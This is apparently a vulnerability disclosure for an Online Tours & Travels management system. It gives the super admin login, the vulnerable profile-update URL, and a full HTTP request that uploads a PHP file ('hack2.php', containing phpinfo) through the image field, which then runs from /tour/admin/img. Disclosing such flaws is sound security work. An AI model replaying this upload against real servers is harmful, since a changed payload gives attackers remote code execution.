BUG_Author: Serendipity
The program is built using the xmapp-php8.1 version
Login account: mayuri.infospace@gmail.com/admin (Super Admin account)
Vulnerability url: ip/tour/user/user_operations/profile.php?id=1
Loophole location: Online Tours & Travels management system's user/update_profile.php file exists arbitrary file upload (RCE)
Request package for file upload:
POST /tour/user/user_operations/profile.php?id=1 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/tour/user/update_profile.php
Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8601869426933
Content-Length: 828
-----------------------------8601869426933
Content-Disposition: form-data; name="name"
hhhh
-----------------------------8601869426933
Content-Disposition: form-data; name="state_name"
Goa
-----------------------------8601869426933
Content-Disposition: form-data; name="mobile"
1888888888
-----------------------------8601869426933
Content-Disposition: form-data; name="address"
11111
-----------------------------8601869426933
Content-Disposition: form-data; name="img"; filename="hack2.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
-----------------------------8601869426933
Content-Disposition: form-data; name="old_img"
hack.php
-----------------------------8601869426933
Content-Disposition: form-data; name="update"
-----------------------------8601869426933--The files will be uploaded to this directory \tour\admin\img
We visited the directory of the file in the browser and found that the code had been executed
